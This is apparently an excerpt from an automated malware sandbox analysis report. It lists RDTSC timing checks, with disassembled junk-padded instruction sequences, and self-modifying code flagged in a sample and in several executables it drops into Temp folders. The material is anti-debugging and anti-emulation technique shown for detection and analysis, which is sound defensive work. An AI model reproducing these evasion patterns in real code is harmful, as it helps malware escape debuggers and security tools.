Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90EA5 second address: 4C90EF8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-1Ch], esi 0x0000000e pushad 0x0000000f movzx ecx, di 0x00000012 push eax 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007F0734C6ABEFh 0x0000001a or si, 2F7Eh 0x0000001f jmp 00007F0734C6ABF9h 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0868 second address: 4CB086E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB086E second address: 4CB08FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F0734C6ABF2h 0x00000008 pop ecx 0x00000009 mov eax, edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F0734C6ABF8h 0x00000016 xor ecx, 40494128h 0x0000001c jmp 00007F0734C6ABEBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov dword ptr [esp], ebp 0x00000026 pushad 0x00000027 mov dh, 0Eh 0x00000029 call 00007F0734C6ABECh 0x0000002e pop edi 0x0000002f popad 0x00000030 mov ebp, esp 0x00000032 pushad 0x00000033 call 00007F0734C6ABEAh 0x00000038 mov ch, 44h 0x0000003a pop ebx 0x0000003b mov eax, 1A021493h 0x00000040 popad 0x00000041 xchg eax, esi 0x00000042 jmp 00007F0734C6ABF6h 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB08FF second address: 4CB091B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB091B second address: 4CB0995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov si, B2CBh 0x0000000f call 00007F0734C6ABF0h 0x00000014 call 00007F0734C6ABF2h 0x00000019 pop esi 0x0000001a pop ebx 0x0000001b popad 0x0000001c mov esi, dword ptr [ebp+0Ch] 0x0000001f jmp 00007F0734C6ABEEh 0x00000024 test esi, esi 0x00000026 pushad 0x00000027 push eax 0x00000028 pushfd 0x00000029 jmp 00007F0734C6ABEDh 0x0000002e and ecx, 67AD2826h 0x00000034 jmp 00007F0734C6ABF1h 0x00000039 popfd 0x0000003a pop eax 0x0000003b push eax 0x0000003c push edx 0x0000003d push ebx 0x0000003e pop esi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0995 second address: 4CB09A8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F07A5C891C1h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09A8 second address: 4CB09AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09AC second address: 4CB09B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09B2 second address: 4CB0A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [75C7459Ch], 05h 0x00000010 jmp 00007F0734C6ABEEh 0x00000015 je 00007F07A5BE0699h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ax, dx 0x00000021 call 00007F0734C6ABF9h 0x00000026 pop ecx 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A0B second address: 4CB0A43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, esi 0x0000000b pushad 0x0000000c mov bx, cx 0x0000000f call 00007F0734D2B7AEh 0x00000014 mov dx, si 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F0734D2B7B3h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A43 second address: 4CB0A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A49 second address: 4CB0A4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A4D second address: 4CB0A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A51 second address: 4CB0A78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 551569AFh 0x00000011 call 00007F0734D2B7B4h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A78 second address: 4CB0A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A7E second address: 4CB0A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A82 second address: 4CB0A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AA2 second address: 4CB0AF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 pushfd 0x00000007 jmp 00007F0734D2B7ABh 0x0000000c xor esi, 4099E84Eh 0x00000012 jmp 00007F0734D2B7B9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, esi 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushfd 0x00000020 jmp 00007F0734D2B7AAh 0x00000025 sbb ecx, 5F6164C8h 0x0000002b jmp 00007F0734D2B7ABh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AF8 second address: 4CB0B38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F0734C6ABF6h 0x0000000c xor eax, 440EE728h 0x00000012 jmp 00007F0734C6ABEBh 0x00000017 popfd 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F0734C6ABEBh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B38 second address: 4CB0B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B3C second address: 4CB0B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B42 second address: 4CB0B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B48 second address: 4CB0B4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B4C second address: 4CB0B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov dx, 212Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B5E second address: 4CB0B63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B84 second address: 4CB0B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 492273 second address: 49227E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F0734C6ABE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A089F second address: 4A08A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A0A45 second address: 4A0A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0734C6ABE6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4BCF second address: 4A4BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4BD4 second address: 4A4BF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734C6ABF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4BF6 second address: 4A4BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4BFE second address: 4A4C0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4C0D second address: 4A4C11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4C11 second address: 4A4C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F0734C6ABECh 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jmp 00007F0734C6ABEBh 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4CEF second address: 4A4CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4CF3 second address: 4A4D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 39605D3Fh 0x0000000e jc 00007F0734C6ABECh 0x00000014 mov dword ptr [ebp+122D3997h], ebx 0x0000001a push 00000003h 0x0000001c jmp 00007F0734C6ABECh 0x00000021 push 00000000h 0x00000023 mov edx, dword ptr [ebp+122D3C4Eh] 0x00000029 push 00000003h 0x0000002b mov esi, dword ptr [ebp+122D39EAh] 0x00000031 call 00007F0734C6ABE9h 0x00000036 push eax 0x00000037 push edx 0x00000038 push ecx 0x00000039 jmp 00007F0734C6ABF6h 0x0000003e pop ecx 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4D54 second address: 4A4D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push esi 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ebx 0x00000015 push eax 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop eax 0x00000019 pop ebx 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 jng 00007F0734D2B7A6h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4D7F second address: 4A4D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4D85 second address: 4A4D8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4D8A second address: 4A4D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4D9A second address: 4A4DEA instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F0734D2B7ACh 0x00000010 popad 0x00000011 pop eax 0x00000012 jmp 00007F0734D2B7B9h 0x00000017 lea ebx, dword ptr [ebp+1245AB06h] 0x0000001d xor dword ptr [ebp+122D1E1Fh], edx 0x00000023 mov edi, dword ptr [ebp+122D3AE2h] 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f jl 00007F0734D2B7A6h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4E54 second address: 4A4ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edi 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jp 00007F0734C6ABE6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop esi 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F0734C6ABE8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e push 00000000h 0x00000030 add ch, 00000018h 0x00000033 call 00007F0734C6ABE9h 0x00000038 jmp 00007F0734C6ABF8h 0x0000003d push eax 0x0000003e jmp 00007F0734C6ABECh 0x00000043 mov eax, dword ptr [esp+04h] 0x00000047 pushad 0x00000048 jmp 00007F0734C6ABF1h 0x0000004d push eax 0x0000004e push edx 0x0000004f push esi 0x00000050 pop esi 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4ED4 second address: 4A4ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4ED8 second address: 4A4EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4EE7 second address: 4A4EEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4EEB second address: 4A4EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A4EF1 second address: 4A4F8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0734D2B7AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F0734D2B7B0h 0x00000012 pop eax 0x00000013 mov cl, 55h 0x00000015 push 00000003h 0x00000017 mov ecx, dword ptr [ebp+122D3C9Eh] 0x0000001d push 00000000h 0x0000001f add edi, dword ptr [ebp+122D3926h] 0x00000025 push 00000003h 0x00000027 mov dword ptr [ebp+122D1CADh], esi 0x0000002d push F1AE35ADh 0x00000032 jmp 00007F0734D2B7AFh 0x00000037 xor dword ptr [esp], 31AE35ADh 0x0000003e push 00000000h 0x00000040 push esi 0x00000041 call 00007F0734D2B7A8h 0x00000046 pop esi 0x00000047 mov dword ptr [esp+04h], esi 0x0000004b add dword ptr [esp+04h], 0000001Ch 0x00000053 inc esi 0x00000054 push esi 0x00000055 ret 0x00000056 pop esi 0x00000057 ret 0x00000058 mov edx, dword ptr [ebp+122D2A40h] 0x0000005e lea ebx, dword ptr [ebp+1245AB0Fh] 0x00000064 mov dword ptr [ebp+122D1FA8h], edi 0x0000006a xchg eax, ebx 0x0000006b pushad 0x0000006c pushad 0x0000006d push edi 0x0000006e pop edi 0x0000006f push esi 0x00000070 pop esi 0x00000071 popad 0x00000072 push eax 0x00000073 push edx 0x00000074 je 00007F0734D2B7A6h 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A5026 second address: 4A502A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A502A second address: 4A5038 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0734D2B7A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A5038 second address: 4A50D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F0734C6ABEAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F0734C6ABF8h 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007F0734C6ABECh 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 pushad 0x00000024 popad 0x00000025 pop ecx 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov edx, 1636C429h 0x0000002d push 00000003h 0x0000002f jc 00007F0734C6ABEAh 0x00000035 mov cx, FA5Ch 0x00000039 sub edi, dword ptr [ebp+122D3C6Ah] 0x0000003f push 00000000h 0x00000041 mov dx, si 0x00000044 push 00000003h 0x00000046 push 00000000h 0x00000048 push edi 0x00000049 call 00007F0734C6ABE8h 0x0000004e pop edi 0x0000004f mov dword ptr [esp+04h], edi 0x00000053 add dword ptr [esp+04h], 00000018h 0x0000005b inc edi 0x0000005c push edi 0x0000005d ret 0x0000005e pop edi 0x0000005f ret 0x00000060 push E02FEEC1h 0x00000065 push eax 0x00000066 push edx 0x00000067 ja 00007F0734C6ABF4h 0x0000006d rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A50D8 second address: 4A50DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A50DE second address: 4A50E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A50E2 second address: 4A50E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A50E6 second address: 4A512F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 202FEEC1h 0x0000000f ja 00007F0734C6ABECh 0x00000015 lea ebx, dword ptr [ebp+1245AB1Ah] 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F0734C6ABE8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 push eax 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 jl 00007F0734C6ABE6h 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4A512F second address: 4A5133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4B5A3F second address: 4B5A44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	RDTSC instruction interceptor: First address: 4B5A44 second address: 4B5A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F0734D2B7A6h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6D1B9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 700648 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 52EDF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 762AAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Special instruction interceptor: First address: 31DD9A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Special instruction interceptor: First address: 4F0965 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Special instruction interceptor: First address: C5E988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NN5L9AGTEIQO79C9NX.exe	Special instruction interceptor: First address: E006A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 9BE988 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B606A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\MYSLPMLH987D3Z1VZQGFOG7TV6JJ.exe	Special instruction interceptor: First address: 325731 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Special instruction interceptor: First address: B51B9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Special instruction interceptor: First address: B80648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Special instruction interceptor: First address: 9AEDF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe	Special instruction interceptor: First address: BE2AAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Special instruction interceptor: First address: 7FD964 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003021001\96b4cd4489.exe	Special instruction interceptor: First address: 99D223 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Special instruction interceptor: First address: EB1B9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Special instruction interceptor: First address: EE0648 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Special instruction interceptor: First address: D0EDF5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe	Special instruction interceptor: First address: F42AAA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe	Special instruction interceptor: First address: B91B9C instructions caused by: Self-modifying code
